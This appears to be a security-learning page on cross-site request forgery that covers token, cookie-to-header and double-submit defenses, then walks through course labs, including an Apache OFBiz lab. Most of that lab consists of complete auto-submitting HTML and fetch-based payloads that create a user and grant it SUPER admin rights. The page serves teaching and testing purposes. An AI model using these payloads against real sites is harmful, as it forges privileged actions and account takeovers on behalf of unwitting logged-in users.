CSRF

Cross-Site Request Forgery (CSRF) tricks a user's browser into making unwanted actions on a trusted site where they are logged in via a phishing link or malware.

General

One way to mitigate CSRF attacks is using a CSRF token, a unique value submitted by the user, typically as a hidden input field, but this adds overhead and usability concerns due to the need to track tokens. The cookie-to-header approach uses client-side JavaScript to send the token as a request header, but it can be bypassed if an attacker gains access to the cookie via XSS.

The double-submit approach uses a hidden input field with the CSRF token, validating that the cookie value matches the input field value without needing JavaScript access to the cookie or tracking generated tokens. If an application's form elements lack these mitigations or SameSite cookies, it is vulnerable to CSRF, which can be detected through source code inspection.

Basic

The example below is based on TCM's Practical Bug Bounty course.

This app gives the user the option to update his email after they logged in (Figure 1).

Figure 1: Exploring the application's functionality.

We can see that there is no anti-CRSF token and the current cookie does not have the SameSite flag set. Thus, we can try generate a CRSF PoC using Burp Suite Pro's engagement tool (Figure 2.1 & 2.2). This tool takes the HTML code related to the update email form (Figure 2.3), removes the unecessary cosmetic elements, adds the html and body tags, and adds a script so the payload gets executed upon loading.

Figure 2: Generating a CSRF PoC with Burp's engagement tool.

Next, we can update the payload's value parameter to an email we control, copy the HTML code into a file (csrf.html), and find a way to serve this file to our target (Figure 3).

Figure 3: Updating the target's email to a malicious address.

Token Bypass

The example below is based on TCM's Practical Bug Bounty course.

This time the application implements a hidden CSRF token (Figure 4.1) which is supposed to mitigate such an attack by using a unique token on each request. We can check this token for various flaws, but in this case, it seems that the application just checks that a token exists and nothing more. Thus, we can generate a CSRF payload that includes a random-value CSRF token (Figure 4.2) and perform a CSRF attack (Figure 4.3).

Figure 4: Bypassing a CSRF token and executing a succsseful CSRF attack.

Apache OFBiz

The example below is based on OffSec's WEB-200 course.

Enumeration

Inspecting the login request response's cookies we can see that there is no CSRF token and the JSESSIONID cookie does not have the SameSite flag set (Figure 5).

Figure 5: Inspecting the response's cookies.

One interesting functionality to target with CSRF flaws is user creation. If we can force an admin to execute our malicious request, we could create users with elevated privileges. The POST request used for creating a new user, does not seem to include any CSRF-related parameters (Figure 6).

Figure 6: Inspecting the user creation request.

Similarly, the POST request for adding the user to the SUPER group does not include any CSRF-related parameters either (Figure 7).

Figure 7: Inspecting the request that elevates user privileges.

Exploitation

At a high level, we want to copy the application's HTML forms into pages hosted on our server. We will fill the forms with our own data and make them submit on page load, so the victim must only open the page. In this case, our goal is to create a new user and then assign them the SUPER privilege. We will start by creating the basic structure of a form element (ofbiz.html) under /var/www/html so we can server it using Apache.

ofbiz.html
<html>
<body onload="document.forms['csrf'].submit()">
  <form action="https://ofbiz:8443/webtools/control/createUserLogin" method="post" name="csrf">
  </form>
</body>
</html>

Next, we need to add the input elements. The POST request that our page generates needs to match the baseline request from the app. We need to add input elements, one for each key-value pair in the original request, inside the form element.

ofbiz.html
<html>
  <body onload="document.forms['csrf'].submit()">
    <form action="https://ofbiz:8443/webtools/control/createUserLogin" method="post" name="csrf">
      <input type="hidden" name="enabled">
      <input type="hidden" name="partyId">
      <input type="hidden" name="userLoginId" value="csrftest">
      <input type="hidden" name="currentPassword" value="password">
      <input type="hidden" name="currentPasswordVerify" value="password">
      <input type="hidden" name="passwordHint">
      <input type="hidden" name="requirePasswordChange" value="N">
      <input type="hidden" name="externalAuthId">
      <input type="hidden" name="securityQuestion">
      <input type="hidden" name="securityAnswer">
    </form>
  </body>
</html>

When we visit /localhost/ofbiz.html a GET request will be initiated, which will then create a POST request to ofbiz:8443/webtools/control/createUserLogin, and the csrftest user will be created. Note that our cookies were included within this request and that the Origin and Referer headers let us know that the request came from localhost (Figure 6).

Figure 8: Creating the csrftest user.

Next, we will go through the same process for the privilege escalation step.

ofbiz1.html
<html>
        <body onload="document.forms['csrf'].submit()">
                <form action="https://ofbiz:8443/webtools/control/addUserLoginToSecurityGroup" method="post" name="csrf">
                        <input type="hidden" name="groupId" value="SUPER">
                        <input type="hidden" name="userLoginId" value="csrftest">
                        <input type="hidden" name="fromDate_i18n">
                        <input type="hidden" name="fromDate">
                        <input type="hidden" name="thruDate_i18n">
                        <input type="hidden" name="thruDate">
                </form>
        </body>
</html>

Now, we have to combine both forms and have them submitted sequentially via implementing some JavaScript code. We will also change the username name to crsftestuser to differentiate from the previous user.

ofbiz2.html
<html>
<head>
<script>
function submitForms() {
  document.forms['csrf'].submit();
  setTimeout(function() {document.forms['csrf2'].submit();}, 1000);
  return false;
}
</script>
</head>

<body onload="submitForms();" >

<form action="https://ofbiz:8443/webtools/control/createUserLogin" method="post" name="csrf" target="_blank">
  <input type="hidden" name="enabled">
  <input type="hidden" name="partyId">
  <input type="hidden" name="userLoginId" value="csrftestuser">
  <input type="hidden" name="currentPassword" value="password">
  <input type="hidden" name="currentPasswordVerify" value="password">
  <input type="hidden" name="passwordHint">
  <input type="hidden" name="requirePasswordChange" value="N">
  <input type="hidden" name="externalAuthId">
  <input type="hidden" name="securityQuestion">
  <input type="hidden" name="securityAnswer">
</form>

<form action="https://ofbiz:8443/webtools/control/addUserLoginToSecurityGroup" method="post" name="csrf2" target="_blank">
  <input type="hidden" name="groupId" value="SUPER">
  <input type="hidden" name="userLoginId" value="csrftestuser">
  <input type="hidden" name="fromDate_i18n">
  <input type="hidden" name="fromDate">
  <input type="hidden" name="thruDate_i18n">
  <input type="hidden" name="thruDate">
</form>

</body>
</html>

In visiting localhost/ofbiz2.html, two new tabs open up and the payload is successfully executed (Figure 9).

Figure 9: Creating a new user and adding them to the SUPER group.

Instead of using two forms, we can make requests directly without navigating the browser away from the payload page. In brief, what the below payload does, is creating two functions, one for each POST request, where it includes the privilege escalation request within the user creation request to make sure that the execution order is correct. Finally, it explicitly calls the first function at the end, so it is auto-called on page load.

ofbiz3.html
<html>
<head>
<script>
  var username = "csrftestv2";
  var password = "password";
  var host = "https://ofbiz:8443";
  var create_url = "/webtools/control/createUserLogin";
  var admin_url = "/webtools/control/userLogin_addUserLoginToSecurityGroup";
  var create_params = "enabled=&partyId=&userLoginId=" + username + "&currentPassword=" + password + "&currentPasswordVerify=" + password + "&passwordHint=hint&requirePasswordChange=N&externalAuthId=&securityQuestion=&securityAnswer=";
  var admin_params = "userLoginId=" +username + "&partyId=&groupId=SUPER&fromDate_i18n=&fromDate=&thruDate_i18n=&thruDate=";

  function send_create() { 
    console.log("Creating user..."); 
    fetch(host+create_url, {
      method: 'POST',
      mode: 'no-cors',
      credentials: 'include',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body : create_params }
      ).then(function(response) {
        send_admin();
	});
  }

  function send_admin() { 
    console.log("Adding admin role..."); 
    fetch(host+admin_url, {
      method: 'POST',
      mode: 'no-cors',
      credentials: 'include',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body : admin_params }
      ).then(console.log("Should be done..."));
    }

  send_create();
</script>
</head>
<body></body>
</html>

However, when the payload is executed, the correct requests are made, but we are not able to use the current user's session cookies (Figure 10).

Figure 10: Our payload is unable to use the current user's cookies.

The cause of the problem can be identified if we inspect that JSESSIONID set flags during a successful login: the SameSite flag is not set, so its value defaults to Lax which disallow transferring the cookie on cross-site requests (Figure 11 & 12).

Figure 11: Inspecting the flags set for the JSESSIONID cookie via Burp.
Figure 12: Inspecting the flags set for the JSESSIONID cookie via Chrome.

Last updated

Was this helpful?